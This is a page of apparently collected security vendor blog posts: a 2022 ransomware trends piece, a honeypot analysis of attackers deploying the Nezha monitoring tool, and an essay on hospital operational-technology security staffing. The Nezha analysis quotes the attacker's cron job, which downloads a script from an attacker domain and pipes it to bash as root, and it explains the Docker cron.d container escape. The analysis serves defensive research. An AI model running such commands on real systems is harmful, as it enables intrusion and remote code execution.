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February 6, 2022

Ransomware Groups Aim for Maximum Disruption

Discover key ransomware trends and effective strategies to safeguard your organization. Marcus Fowler provides insights on combating cyber threats!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Marcus Fowler
CEO of Darktrace Federal
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06
Feb 2022

In parallel to the global COVID-19 pandemic, there has been a growing ransomware pandemic. Darktrace researchers discovered that ransomware attacks on US organizations tripled in 2021 compared to 2020, and attacks on UK organizations doubled.

This crisis brought 30 nations together to discuss a counter-ransomware initiative focused on cryptocurrency regulation, security resilience, attack disruption, and international cyber diplomacy. Despite these landmark policies and law enforcement efforts, it’s safe to say that ransomware will remain as a top priority threat and is not going anywhere.

As ransomware permeates, cyber-attackers will continue evolving techniques in 2022

Ransomware gangs are becoming more sophisticated in how they select targets and how they carry out attacks. Many organizations think that ransomware shouldn’t be a serious concern if they have backups in place because they can quickly bring business operations back online. But modern attacks are about more than encryption or data exfiltration; they focus on maximizing disruption to business operations, including targeting backups for encryption and deletion. In 2022, we could see ransomware gangs target cloud service providers as well as backup and archiving providers.

Critical infrastructure organizations and businesses will continue to assess how quickly they can restore operations in the aftermath of an attack and how extensively they will be able to rely on, and the costs required for cyber insurers to cover entire ransom payments and costly systems repairs.

In early January, Microsoft researchers found evidence of malware targeting multiple Ukrainian organizations deploying what appeared to be ransomware but was actually a wiper. The malware displays a ransom note then executes the wiper when the target device is powered down. If adopted by other non-state actors, this evolution goes beyond ransomware, and some organizations won’t be able to survive these types of attacks.

Sophisticated ransomware gangs will expand their detailed targeting efforts from only ‘big game hunting,’ where they target large and well-known targets, to use more resources directly targeting midsize and smaller organizations. With increased scalability through automation and leveraging supply chain attacks, ransomware gangs will have the resources to expand their operations. Large organizations have more substantial budgets and more people, and they can prioritize resources to deal with ransomware’s effects — it will be far more difficult for small businesses.

Not only are ransomware operators expanding whom they can target, but the group of cyber-attackers able to execute attacks is expanding. The rise of Ransomware-as-a-Service (RaaS) gives low-skilled threat actors access to sophisticated malware strains, lowering the barrier to entry for attackers. RaaS has expanded the criminal ecosystem to include lower-level threat actors who find and attack the targets before installing the malicious software. Threat actors are increasingly using bots to automate the initial attack that gets them a foothold in the system.

There is also a varying degree of professionalism amongst cyber-criminals, from seasoned veterans (with current or previous nation-state experience) to ‘script kiddies’ with little expertise. This array translates to greater potential for untested or reckless use of sophisticated tools by unsophisticated actors.

Ransomware groups will bounce back

Ransomware groups are resilient. Even if government pressures force ransomware groups to disband or criminally charge them, they will continue to rebrand and crop back up. For example, DarkSide, confirmed by the FBI to be behind the attack on Colonial Pipeline, shut down a week after the attack. Shortly after, BlackMatter emerged, widely believed to be a rebranded version of the same cyber-crime group.

Figure 1: Darktrace breaks down the stages of a BlackMatter ransomware attack targeting a marketing firm in the US

Earlier this year, Russia’s security agency announced that it had arrested several members belonging to the notorious REvil ransomware gang and neutralized its operations. While this is a significant step against a major group, it is unlikely to reflect a long-term change in Russian policy towards cyber-criminal gangs. These arrests almost certainly do not mark the end of REvil.

Five ransomware groups have formed a cartel to exchange data and ‘best’ practices. These groups include Wizard Spider (linked to the Ryuk and Conti ransomware strains), Twisted Spider (which developed Maze and uses Egregor), Viking Spider (the group behind Ragnar), and LockBit.

Even if government pressures force ransomware groups to disband or criminally charge ransomware gangs, these groups will continue to rebrand and crop back up with even more sophisticated techniques and capabilities.

A static ‘hardened’ perimeter defense isn’t the answer – a dynamic self-defending one is

For organizations to build systems to withstand cyber-attacks, security leaders need to think and, more importantly, defend beyond the initial breach to maximize continuity of business operations. Security defenses like firewalls centered on defending the cyber perimeter are not enough to protect against evolving threats.

A truly dynamic defense is achievable. Organizations need to actively enforce ‘normal’ for businesses and disrupt attacks at the earliest indicators of malicious anomalous behavior, such as file encryption or data exfiltration. Security technology needs to learn, make micro-decisions, and take proportional responses to detect and stop attacks early enough before data exfiltration or encryption occurs.

Attackers are acutely aware of Threat Intelligence-reliant defensive tools they need to evade and know the limitations of the legacy, siloed approach many organizations employ. Attackers are finding valuable information, exfiltrating the files, and encrypting the data in a short period. The race condition and response window for defenders to detect and stop attacks is getting smaller; security teams and solution responses must get faster.

Cyber security is no longer a human-scale problem. Organizations need to adopt AI-based protections that can defend against increasingly automated ransomware attacks. In an era of fast-moving cyber-attacks, and with threat actors deliberately striking when security teams are out of the office, AI technologies have become essential in taking targeted action to contain attacks without interrupting normal business.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Marcus Fowler
CEO of Darktrace Federal

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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About the author
Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

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Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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